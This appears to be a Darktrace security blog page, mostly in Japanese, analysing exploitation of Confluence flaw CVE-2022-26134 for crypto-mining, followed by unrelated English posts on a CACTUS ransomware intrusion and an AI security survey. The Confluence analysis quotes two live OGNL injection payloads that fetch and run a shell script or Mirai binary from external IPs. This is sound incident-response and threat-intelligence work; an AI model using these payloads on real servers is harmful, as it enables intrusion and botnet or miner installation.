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Confluence CVE-2022-26134 ゼロデイの検知とガイダンス

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12
Jun 2022
12
Jun 2022
This blog explores the latest vulnerability affecting the Atlassian Confluence suite in June 2022. It contains general guidance and an instance where Darktrace both detected and responded to a customer-facing exploitation of this CVE during the first weekend of in-the-wild attacks. This attack was part of wider crypto-mining activity.

Summary

  • CVE-2022-26134 は、Atlassian Confluence Server または Data Centre 製品 (Cloud ではない) において、脅威アクターが任意のコードを実行することができる、認証されていない OGNL インジェクションの脆弱性です。
  • Atlassianはセキュリティアドバイザリーでいくつかのパッチと一時的な緩和策を公開しています。これは、脆弱性の出現以来、一貫して更新されています。
  • Darktraceは、このCVEの悪用が広まった最初の週末に、悪用の事例を検知し遮断しました。

はじめに

2022年に向けて、セキュリティ業界では、サードパーティの脆弱性と統合に関する懸念が広がっています[1]。すでに Okta (CVE-2022-22965) と Microsoft (CVE-2022-30190) に対して野生の脆弱性が確認されていますが、6 月初旬、Atlassian の Confluence シリーズに対して、リモートコード実行 (RCE) の重大な脆弱性が新たに確認されています。Confluence は、世界中の企業で利用されている Wiki 管理および知識共有のプラットフォームです。この最新の脆弱性 (CVE-2022-26134) は、Confluence Server および Data Centre の全バージョンに影響を及ぼします[2]。このブログでは、脆弱性そのもの、Darktrace が検知・遮断した事例、そして一般ユーザーと既存のDarktrace の両方に対する追加ガイダンスについて説明します。

本CVEは、インジェクションの脆弱性を利用することで、認証なしで任意のコードを実行できるようになります。インジェクション型の攻撃は、意図しない結果を引き起こすために、ウェブアプリケーションにデータを送信することで機能します。この例では、Confluence サーバのメモリに OGNL (Object-Graph Navigation Language) 式を注入することが含まれます。これは、サーバへの HTTP リクエストの URI に式を配置することで行われます。脅威アクターは、サーバーを再探索することなく、ウェブシェルと対話し、さらに悪質なコードを展開することができます。この悪用の概念実証(POC)は、オンラインでもいくつか確認されていることは注目に値します[3]。広く知られた重要な脆弱性であるため、さまざまな脅威が無差別に使用しています。[4]

Atlassianは、Confluence Cloud (AWS 経由) でホストされているサイトにはこの脆弱性はなく、自社で Confluence サーバーを運用している組織に限定されると助言しています。[2]

ケーススタディ:欧州の報道機関

このゼロデイを悪用した最初の実戦的な攻撃は、米国のメモリアルデーの週末に時間外に行われた攻撃としてアトラシアンに報告されました[5] 。Darktrace アナリストは、わずか数日後に、欧州のメディアプロバイダーのネットワーク内で、このエクスプロイトの同様のインスタンスを確認しました。これは、このアカウントに影響を与えた、より広範な一連の侵害の一部であり、複数の脅威アクターが関与している可能性があります。また、このタイミングは、他の組織に対するより広範な悪用の試みの開始と一致しています。[6]

6月3日の夜、Darktrace DETECT は、ある企業の Confluence サーバーで curl/7.61.1 ユーザーエージェントの新しい text/x-shellscript のダウンロードを特定しました。これは、194.38.20[.]166 という珍しい外部 IP アドレスから発信されていました。最初の侵害は、その少し前に 95.182.120[.]164 (ロシアの疑わしい IP) から来た可能性がありますが、接続が暗号化されていたため、確認できませんでした。このダウンロードの直後に、ファイルの実行とcurlエージェントを含むアウトバウンドHTTPが行われました。さらに 185.234.247[.]8 からの実行ファイルのダウンロードが試みられましたが、これは Darktrace RESPOND の 自律遮断機能によってブロックされました。にもかかわらず、Confluenceサーバーは、非標準のポートでMinergateプロトコルを使用したセッションの提供を開始しました。マイニングに加えて、これは、VirusTotal OSINTでまだ悪意のあるものとしてフラグが立てられていない、別の珍しいロシアのIP、45.156.23[.]210へのビーコン接続の失敗も伴っていました(図1および図2)。[7][8]

図 1 および図 2: Minergate 活動およびビーコン失敗時に接続されたロシア IP の未評価 VirusTotal ページ。Darktraceによる Confluence 悪用へのこれらの IP の関与の特定は、OSINT プロファイルに悪意のある評価が追加される前に行われました。

Minergateはオープンな暗号マイニングプールで、ユーザーはデジタル通貨を得るために、コンピュータのハッシュパワーをより大きなマイニングデバイスのネットワークに追加することができます。興味深いことに、Confluenceが金銭的な利益のために重要な脆弱性を悪用されたのは、今回が初めてではありません。2021年9月には、CVE-2021-26084という別のRCE脆弱性があり、これも無防備なデバイスにクリプトマイナーをインストールするために悪用されました。[9]

ビーコン活動の試行中に、Darktrace は最初のcurlエージェントを使用して2つのcf.shファイルをダウンロードしたことが強調されました。その後、さらに悪質なファイルがデバイスによってダウンロードされました。URIと一緒にVirusTotal(図3)からのエンリッチメントにより、これらはKinsingシェルスクリプトであることが確認されました[10][11]。Kinsingは、2020年からのマルウェア株で、主に kdevtmpfsi という名前の別のクリプトマイナーのインストールに使用されました。RESPONDは、このマイナーの使用を軽減するために、Suspicious File Blockを発動させました。しかし、これらのダウンロードの後、追加のMinergate接続の試みが引き続き観察されました。これは、1つまたは複数のスクリプトの実行が成功したことを示す可能性があります。

Figure 3: VirusTotal confirming evidence of Kinsing shell download

CVE-2022-26134 の悪用のより具体的な証拠が、6 月 4 日の午後に検知されました。Confluence Server は、以下の URI とリダイレクト先を持つ HTTP GET リクエストを受信しました。

/${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’(curl -s 195.2.79.26/cf.sh||wget -q -O- 195.2.79.26/cf.sh)|bash’).start()”)}/

これは、OGNLインジェクション攻撃のデモンストレーションと考えられます(図3および図4)。nashorn は、JavaScript コードの解釈に使用される Nashorn Engine を指し、本 CVE のエクスプロイトで使用されたアクティブなペイロード内で確認されています。成功した場合、脅威アクターは、通常はポート使用に対する制限が少なく、継続的な接続が容易なリバースシェルを提供される可能性があります[12]。インジェクションの後、サーバは、継続的なクリプトマイニングやSSLビーコンの試行など、より多くの侵害の兆候を示しました。

図 4 および 図5:Darktraceの 高度な検索機能により、最初の OGNL インジェクションおよびエクスプロイト時間が強調表示されています

このインジェクションの後、別の悪用が確認されました。Mirai ボットネットを示す新しいユーザーエージェントと URI が、同じ Confluence の脆弱性を利用して、さらに多くのクリプトマイニングを確立しようとしました(図 6)。Mirai 自体もバックドアとして、また永続性を得るための手段として展開された可能性があります。

Figure 6: Model breach snapshot highlighting new user agent and Mirai URI

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“wget 149.57.170.179/mirai.x86;chmod 777 mirai.x86;./mirai.x86 Confluence.x86”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/

このインシデントの間、Darktraceの Proactive Threat Notification サービスは、Minergate と疑わしい Kinsing のダウンロードの両方をお客様に警告しました。これにより、SOCの専任アナリストがリアルタイムでイベントのトリアージを行い、お客様自身の内部調査や最終的な修復のためにさらなる情報を提供できるようになりました。ゼロデイがしばしば脅威アクターと防御側の間の競争とみなされる中、このインシデントは、Darktraceの 検知能力が既知と新規の双方の侵害に追いつくことができることを明確にしています。

このインシデントで発見されたモデルの検知と侵害の指標の全リストは、付録でご覧いただけます。

Darktrace のカバレッジとガイダンス

KinsingシェルスクリプトからNashornエクスプロイトまで、このインシデントでは、さまざまな悪意のあるペイロードとエクスプロイト手法が紹介されました。シグネチャ・ソリューションは古い指標を検知することができますが、Darktrace のモデル検知は新たな指標を可視化することができます。モデルは、エクスプロイト、実行、コマンド&コントロール、アクション・オン・オブジェクティブなどのキルチェーンステージをカバーして突破しました(図7)。Darktrace DETECTがインシデント全体に包括的な可視性を提供することで、脅威を明確に調査または記録し、将来的に同様のインシデントにならないように警告することができました。また、大量の暗号マイニングを含むいくつかの行動がグループ化され、AI Analystによって提示され、調査プロセスをサポートしました。

図 7: エクスプロイトイベントの周辺にある Confluence Server のモデル違反のクラスターを示すデバイスグラフ

検知だけでなく、お客様はRESPONDをアクティブモードにして、いくつかの悪意のある活動をリアルタイムに対処することを保証しました。自律的なレスポンスの例としては、以下のようなものがあります。

  • Antigena / Network / External Threat / Antigena Suspicious Activity Block
  • 176.113.81[.]186 ポート80, 45.156.23[.]210 port 80, 91.241.19[.]134 ポート80 への接続を1時間ブロック
  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • 194.38.20[.]166 ポート80への接続を2時間ブロック
  • Antigena / Network / External Threat / Antigena Crypto Currency Mining Block
  • 176.113.81[.]186 ポート80への接続を24時間ブロック

Darktrace のお客様には、以下のような対応いただくことで、この遮断機能の価値を最大化することができます。

  • Darktrace RESPOND の展開を確認する
  • 定期的にRESPONDのブリーチを確認し、RESPONDをHuman Confirmation モードではなくActive モードに設定する(そうしないと、顧客のセキュリティチームが手動で遮断機能を起動する必要がある)
  • Confluence サーバーにAntigena External ThreatAntigena Significant AnomalyAntigena Allのいずれかのタグを付ける
  • RESPOND が適切なファイアウォールを統合していることを確認する

各手順の詳細については、カスタマーポータルの製品ガイドをご覧ください。

CVE-2022-26134 に対するより広い推奨事項

Darktrace の製品ガイダンスに加え、ベンダーからのいくつかの推奨アクションがあります:

  • Atlassian では、この脆弱性が修正された以下のバージョンへのアップデートを推奨しています:7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 および 7.18.1.
  • アップデートができない場合、一時的な緩和措置が正式なセキュリティ勧告に記載されています
  • インターネットに接続されるサーバーが最新であり、安全なコンプライアンスを実践していることを確認する

付録

Darktrace によるモデル検知

  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Script from Rare External
  • Anomalous Server Activity / Possible Denial of Service Activity
  • Anomalous Server Activity / Rare External from Server
  • Compromise / Crypto Currency Mining Activity
  • Compromise / High Volume of Connections with Beacon Score
  • Compromise / Large Number of Suspicious Failed Connections
  • Compromise / SSL Beaconing to Rare Destination
  • Device / New User Agent

IoCs

Hyeongyung Yeomと脅威調査チームの本ブログへの寄稿に感謝します。

脚注

1. https://www.gartner.com/en/articles/7-top-trends-in-cybersecurity-for-2022

2. https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. https://twitter.com/phithon_xg/status/1532887542722269184?cxt=HHwWgMCoiafG9MUqAAAA

4. https://twitter.com/stevenadair/status/1532768372911398916

5. https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

6. https://www.cybersecuritydive.com/news/attackers-atlassian-confluence-zero-day-exploit/625032

7. https://www.virustotal.com/gui/ip-address/45.156.23.210

8. https://www.virustotal.com/gui/ip-address/176.113.81.186

9. https://securityboulevard.com/2021/09/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers

10. https://www.virustotal.com/gui/file/c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

11. https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

12. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134

INSIDE THE SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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Gabriel Few-Wiegratz
Head of Threat Intelligence Hub
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Inside the SOC

A Thorn in Attackers’ Sides: How Darktrace Uncovered a CACTUS Ransomware Infection

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24
Apr 2024

What is CACTUS Ransomware?

In May 2023, Kroll Cyber Threat Intelligence Analysts identified CACTUS as a new ransomware strain that had been actively targeting large commercial organizations since March 2023 [1]. CACTUS ransomware gets its name from the filename of the ransom note, “cAcTuS.readme.txt”. Encrypted files are appended with the extension “.cts”, followed by a number which varies between attacks, e.g. “.cts1” and “.cts2”.

As the cyber threat landscape adapts to ever-present fast-paced technological change, ransomware affiliates are employing progressively sophisticated techniques to enter networks, evade detection and achieve their nefarious goals.

How does CACTUS Ransomware work?

In the case of CACTUS, threat actors have been seen gaining initial network access by exploiting Virtual Private Network (VPN) services. Once inside the network, they may conduct internal scanning using tools like SoftPerfect Network Scanner, and PowerShell commands to enumerate endpoints, identify user accounts, and ping remote endpoints. Persistence is maintained by the deployment of various remote access methods, including legitimate remote access tools like Splashtop, AnyDesk, and SuperOps RMM in order to evade detection, along with malicious tools like Cobalt Strike and Chisel. Such tools, as well as custom scripts like TotalExec, have been used to disable security software to distribute the ransomware binary. CACTUS ransomware is unique in that it adopts a double-extortion tactic, stealing data from target networks and then encrypting it on compromised systems [2].

At the end of November 2023, cybersecurity firm Arctic Wolf reported instances of CACTUS attacks exploiting vulnerabilities on the Windows version of the business analytics platform Qlik, specifically CVE-2023-41266, CVE-2023-41265, and CVE-2023-48365, to gain initial access to target networks [3]. The vulnerability tracked as CVE-2023-41266 can be exploited to generate anonymous sessions and perform HTTP requests to unauthorized endpoints, whilst CVE-2023-41265 does not require authentication and can be leveraged to elevate privileges and execute HTTP requests on the backend server that hosts the application [2].

Darktrace’s Coverage of CACTUS Ransomware

In November 2023, Darktrace observed malicious actors leveraging the aforementioned method of exploiting Qlik to gain access to the network of a customer in the US, more than a week before the vulnerability was reported by external researchers.

Here, Qlik vulnerabilities were successfully exploited, and a malicious executable (.exe) was detonated on the network, which was followed by network scanning and failed Kerberos login attempts. The attack culminated in the encryption of numerous files with extensions such as “.cts1”, and SMB writes of the ransom note “cAcTuS.readme.txt” to multiple internal devices, all of which was promptly identified by Darktrace DETECT™.

While traditional rules and signature-based detection tools may struggle to identify the malicious use of a legitimate business platform like Qlik, Darktrace’s Self-Learning AI was able to confidently identify anomalous use of the tool in a CACTUS ransomware attack by examining the rarity of the offending device’s surrounding activity and comparing it to the learned behavior of the device and its peers.

Unfortunately for the customer in this case, Darktrace RESPOND™ was not enabled in autonomous response mode during their encounter with CACTUS ransomware meaning that attackers were able to successfully escalate their attack to the point of ransomware detonation and file encryption. Had RESPOND been configured to autonomously act on any unusual activity, Darktrace could have prevented the attack from progressing, stopping the download of any harmful files, or the encryption of legitimate ones.

Cactus Ransomware Attack Overview

Holiday periods have increasingly become one of the favoured times for malicious actors to launch their attacks, as they can take advantage of the festive downtime of organizations and their security teams, and the typically more relaxed mindset of employees during this period [4].

Following this trend, in late November 2023, Darktrace began detecting anomalous connections on the network of a customer in the US, which presented multiple indicators of compromise (IoCs) and tactics, techniques and procedures (TTPs) associated with CACTUS ransomware. The threat actors in this case set their attack in motion by exploiting the Qlik vulnerabilities on one of the customer’s critical servers.

Darktrace observed the server device making beaconing connections to the endpoint “zohoservice[.]net” (IP address: 45.61.147.176) over the course of three days. This endpoint is known to host a malicious payload, namely a .zip file containing the command line connection tool PuttyLink [5].

Darktrace’s Cyber AI Analyst was able to autonomously identify over 1,000 beaconing connections taking place on the customer’s network and group them together, in this case joining the dots in an ongoing ransomware attack. AI Analyst recognized that these repeated connections to highly suspicious locations were indicative of malicious command-and-control (C2) activity.

Cyber AI Analyst Incident Log showing the offending device making over 1,000 connections to the suspicious hostname “zohoservice[.]net” over port 8383, within a specific period.
Figure 1: Cyber AI Analyst Incident Log showing the offending device making over 1,000 connections to the suspicious hostname “zohoservice[.]net” over port 8383, within a specific period.

The infected device was then observed downloading the file “putty.zip” over a HTTP connection using a PowerShell user agent. Despite being labelled as a .zip file, Darktrace’s detection capabilities were able to identify this as a masqueraded PuttyLink executable file. This activity resulted in multiple Darktrace DETECT models being triggered. These models are designed to look for suspicious file downloads from endpoints not usually visited by devices on the network, and files whose types are masqueraded, as well as the anomalous use of PowerShell. This behavior resembled previously observed activity with regards to the exploitation of Qlik Sense as an intrusion technique prior to the deployment of CACTUS ransomware [5].

The downloaded file’s URI highlighting that the file type (.exe) does not match the file's extension (.zip). Information about the observed PowerShell user agent is also featured.
Figure 2: The downloaded file’s URI highlighting that the file type (.exe) does not match the file's extension (.zip). Information about the observed PowerShell user agent is also featured.

Following the download of the masqueraded file, Darktrace observed the initial infected device engaging in unusual network scanning activity over the SMB, RDP and LDAP protocols. During this activity, the credential, “service_qlik” was observed, further indicating that Qlik was exploited by threat actors attempting to evade detection. Connections to other internal devices were made as part of this scanning activity as the attackers attempted to move laterally across the network.

Numerous failed connections from the affected server to multiple other internal devices over port 445, indicating SMB scanning activity.
Figure 3: Numerous failed connections from the affected server to multiple other internal devices over port 445, indicating SMB scanning activity.

The compromised server was then seen initiating multiple sessions over the RDP protocol to another device on the customer’s network, namely an internal DNS server. External researchers had previously observed this technique in CACTUS ransomware attacks where an RDP tunnel was established via Plink [5].

A few days later, on November 24, Darktrace identified over 20,000 failed Kerberos authentication attempts for the username “service_qlik” being made to the internal DNS server, clearly representing a brute-force login attack. There is currently a lack of open-source intelligence (OSINT) material definitively listing Kerberos login failures as part of a CACTUS ransomware attack that exploits the Qlik vulnerabilities. This highlights Darktrace’s ability to identify ongoing threats amongst unusual network activity without relying on existing threat intelligence, emphasizing its advantage over traditional security detection tools.

Kerberos login failures being carried out by the initial infected device. The destination device detected was an internal DNS server.
Figure 4: Kerberos login failures being carried out by the initial infected device. The destination device detected was an internal DNS server.

In the month following these failed Kerberos login attempts, between November 26 and December 22, Darktrace observed multiple internal devices encrypting files within the customer’s environment with the extensions “.cts1” and “.cts7”. Devices were also seen writing ransom notes with the file name “cAcTuS.readme.txt” to two additional internal devices, as well as files likely associated with Qlik, such as “QlikSense.pdf”. This activity detected by Darktrace confirmed the presence of a CACTUS ransomware infection that was spreading across the customer’s network.

The model, 'Ransom or Offensive Words Written to SMB', triggered in response to SMB file writes of the ransom note, ‘cAcTuS.readme.txt’, that was observed on the customer’s network.
Figure 5: The model, 'Ransom or Offensive Words Written to SMB', triggered in response to SMB file writes of the ransom note, ‘cAcTuS.readme.txt’, that was observed on the customer’s network.
CACTUS ransomware extensions, “.cts1” and “.cts7”, being appended to files on the customer’s network.
Figure 6: CACTUS ransomware extensions, “.cts1” and “.cts7”, being appended to files on the customer’s network.

Following this initial encryption activity, two affected devices were observed attempting to remove evidence of this activity by deleting the encrypted files.

Attackers attempting to remove evidence of their activity by deleting files with appendage “.cts1”.
Figure 7: Attackers attempting to remove evidence of their activity by deleting files with appendage “.cts1”.

結論

In the face of this CACTUS ransomware attack, Darktrace’s anomaly-based approach to threat detection enabled it to quickly identify multiple stages of the cyber kill chain occurring in the customer’s environment. These stages ranged from ‘initial access’ by exploiting Qlik vulnerabilities, which Darktrace was able to detect before the method had been reported by external researchers, to ‘actions on objectives’ by encrypting files. Darktrace’s Self-Learning AI was also able to detect a previously unreported stage of the attack: multiple Kerberos brute force login attempts.

If Darktrace’s autonomous response capability, RESPOND, had been active and enabled in autonomous response mode at the time of this attack, it would have been able to take swift mitigative action to shut down such suspicious activity as soon as it was identified by DETECT, effectively containing the ransomware attack at the earliest possible stage.

Learning a network’s ‘normal’ to identify deviations from established patterns of behaviour enables Darktrace’s identify a potential compromise, even one that uses common and often legitimately used administrative tools. This allows Darktrace to stay one step ahead of the increasingly sophisticated TTPs used by ransomware actors.

Credit to Tiana Kelly, Cyber Analyst & Analyst Team Lead, Anna Gilbertson, Cyber Analyst

付録

参考文献

[1] https://www.kroll.com/en/insights/publications/cyber/cactus-ransomware-prickly-new-variant-evades-detection

[2] https://www.bleepingcomputer.com/news/security/cactus-ransomware-exploiting-qlik-sense-flaws-to-breach-networks/

[3] https://explore.avertium.com/resource/new-ransomware-strains-cactus-and-3am

[4] https://www.soitron.com/cyber-attackers-abuse-holidays/

[5] https://arcticwolf.com/resources/blog/qlik-sense-exploited-in-cactus-ransomware-campaign/

Darktrace DETECT Models

Compromise / Agent Beacon (Long Period)

Anomalous Connection / PowerShell to Rare External

Device / New PowerShell User Agent

Device / Suspicious SMB Scanning Activity

Anomalous File / EXE from Rare External Location

Anomalous Connection / Unusual Internal Remote Desktop

User / Kerberos Password Brute Force

Compromise / Ransomware / Ransom or Offensive Words Written to SMB

Unusual Activity / Anomalous SMB Delete Volume

Anomalous Connection / Multiple Connections to New External TCP Port

Compromise / Slow Beaconing Activity To External Rare  

Compromise / SSL Beaconing to Rare Destination  

Anomalous Server Activity / Rare External from Server  

Compliance / Remote Management Tool On Server

Compromise / Agent Beacon (Long Period)  

Compromise / Suspicious File and C2  

Device / Internet Facing Device with High Priority Alert  

Device / Large Number of Model Breaches  

Anomalous File / Masqueraded File Transfer

Anomalous File / Internet facing System File Download  

Anomalous Server Activity / Outgoing from Server

Device / Initial Breach Chain Compromise  

Compromise / Agent Beacon (Medium Period)  

Compromise / Agent Beacon (Long Period)  

IoC一覧

IoC - Type - Description

zohoservice[.]net: 45.61.147[.]176 - Domain name: IP Address - Hosting payload over HTTP

Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.2183 - User agent -PowerShell user agent

.cts1 - File extension - Malicious appendage

.cts7- File extension - Malicious appendage

cAcTuS.readme.txt - Filename -Ransom note

putty.zip – Filename - Initial payload: ZIP containing PuTTY Link

MITRE ATT&CK マッピング

Tactic - Technique  - SubTechnique

Web Protocols: COMMAND AND CONTROL - T1071 -T1071.001

Powershell: EXECUTION - T1059 - T1059.001

Exploitation of Remote Services: LATERAL MOVEMENT - T1210 – N/A

Vulnerability Scanning: RECONAISSANCE     - T1595 - T1595.002

Network Service Scanning: DISCOVERY - T1046 - N/A

Malware: RESOURCE DEVELOPMENT - T1588 - T1588.001

Drive-by Compromise: INITIAL ACCESS - T1189 - N/A

Remote Desktop Protocol: LATERAL MOVEMENT – 1021 -T1021.001

Brute Force: CREDENTIAL ACCESS        T – 1110 - N/A

Data Encrypted for Impact: IMPACT - T1486 - N/A

Data Destruction: IMPACT - T1485 - N/A

File Deletion: DEFENSE EVASION - T1070 - T1070.004

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Tiana Kelly
Deputy Team Lead, London & Cyber Analyst

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The State of AI in Cybersecurity: How AI will impact the cyber threat landscape in 2024

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22
Apr 2024

About the AI Cybersecurity Report

We surveyed 1,800 CISOs, security leaders, administrators, and practitioners from industries around the globe. Our research was conducted to understand how the adoption of new AI-powered offensive and defensive cybersecurity technologies are being managed by organizations.

This blog is continuing the conversation from our last blog post “The State of AI in Cybersecurity: Unveiling Global Insights from 1,800 Security Practitioners” which was an overview of the entire report. This blog will focus on one aspect of the overarching report, the impact of AI on the cyber threat landscape.

To access the full report click here.

Are organizations feeling the impact of AI-powered cyber threats?

Nearly three-quarters (74%) state AI-powered threats are now a significant issue. Almost nine in ten (89%) agree that AI-powered threats will remain a major challenge into the foreseeable future, not just for the next one to two years.

However, only a slight majority (56%) thought AI-powered threats were a separate issue from traditional/non AI-powered threats. This could be the case because there are few, if any, reliable methods to determine whether an attack is AI-powered.

Identifying exactly when and where AI is being applied may not ever be possible. However, it is possible for AI to affect every stage of the attack lifecycle. As such, defenders will likely need to focus on preparing for a world where threats are unique and are coming faster than ever before.

a hypothetical cyber attack augmented by AI at every stage

Are security stakeholders concerned about AI’s impact on cyber threats and risks?

The results from our survey showed that security practitioners are concerned that AI will impact organizations in a variety of ways. There was equal concern associated across the board – from volume and sophistication of malware to internal risks like leakage of proprietary information from employees using generative AI tools.

What this tells us is that defenders need to prepare for a greater volume of sophisticated attacks and balance this with a focus on cyber hygiene to manage internal risks.

One example of a growing internal risks is shadow AI. It takes little effort for employees to adopt publicly-available text-based generative AI systems to increase their productivity. This opens the door to “shadow AI”, which is the use of popular AI tools without organizational approval or oversight. Resulting security risks such as inadvertent exposure of sensitive information or intellectual property are an ever-growing concern.

Are organizations taking strides to reduce risks associated with adoption of AI in their application and computing environment?

71.2% of survey participants say their organization has taken steps specifically to reduce the risk of using AI within its application and computing environment.

16.3% of survey participants claim their organization has not taken these steps.

These findings are good news. Even as enterprises compete to get as much value from AI as they can, as quickly as possible, they’re tempering their eager embrace of new tools with sensible caution.

Still, responses varied across roles. Security analysts, operators, administrators, and incident responders are less likely to have said their organizations had taken AI risk mitigation steps than respondents in other roles. In fact, 79% of executives said steps had been taken, and only 54% of respondents in hands-on roles agreed. It seems that leaders believe their organizations are taking the needed steps, but practitioners are seeing a gap.

Do security professionals feel confident in their preparedness for the next generation of threats?

A majority of respondents (six out of every ten) believe their organizations are inadequately prepared to face the next generation of AI-powered threats.

The survey findings reveal contrasting perceptions of organizational preparedness for cybersecurity threats across different regions and job roles. Security administrators, due to their hands-on experience, express the highest level of skepticism, with 72% feeling their organizations are inadequately prepared. Notably, respondents in mid-sized organizations feel the least prepared, while those in the largest companies feel the most prepared.

Regionally, participants in Asia-Pacific are most likely to believe their organizations are unprepared, while those in Latin America feel the most prepared. This aligns with the observation that Asia-Pacific has been the most impacted region by cybersecurity threats in recent years, according to the IBM X-Force Threat Intelligence Index.

The optimism among Latin American respondents could be attributed to lower threat volumes experienced in the region, but it's cautioned that this could change suddenly (1).

What are biggest barriers to defending against AI-powered threats?

The top-ranked inhibitors center on knowledge and personnel. However, issues are alluded to almost equally across the board including concerns around budget, tool integration, lack of attention to AI-powered threats, and poor cyber hygiene.

The cybersecurity industry is facing a significant shortage of skilled professionals, with a global deficit of approximately 4 million experts (2). As organizations struggle to manage their security tools and alerts, the challenge intensifies with the increasing adoption of AI by attackers. This shift has altered the demands on security teams, requiring practitioners to possess broad and deep knowledge across rapidly evolving solution stacks.

Educating end users about AI-driven defenses becomes paramount as organizations grapple with the shortage of professionals proficient in managing AI-powered security tools. Operationalizing machine learning models for effectiveness and accuracy emerges as a crucial skill set in high demand. However, our survey highlights a concerning lack of understanding among cybersecurity professionals regarding AI-driven threats and the use of AI-driven countermeasures indicating a gap in keeping pace with evolving attacker tactics.

The integration of security solutions remains a notable problem, hindering effective defense strategies. While budget constraints are not a primary inhibitor, organizations must prioritize addressing these challenges to bolster their cybersecurity posture. It's imperative for stakeholders to recognize the importance of investing in skilled professionals and integrated security solutions to mitigate emerging threats effectively.

To access the full report click here.

参考文献

1. IBM, X-Force Threat Intelligence Index 2024, Available at: https://www.ibm.com/downloads/cas/L0GKXDWJ

2. ISC2, Cybersecurity Workforce Study 2023, Available at: https://media.isc2.org/-/media/Project/ISC2/Main/Media/ documents/research/ISC2_Cybersecurity_Workforce_Study_2023.pdf?rev=28b46de71ce24e6ab7705f6e3da8637e

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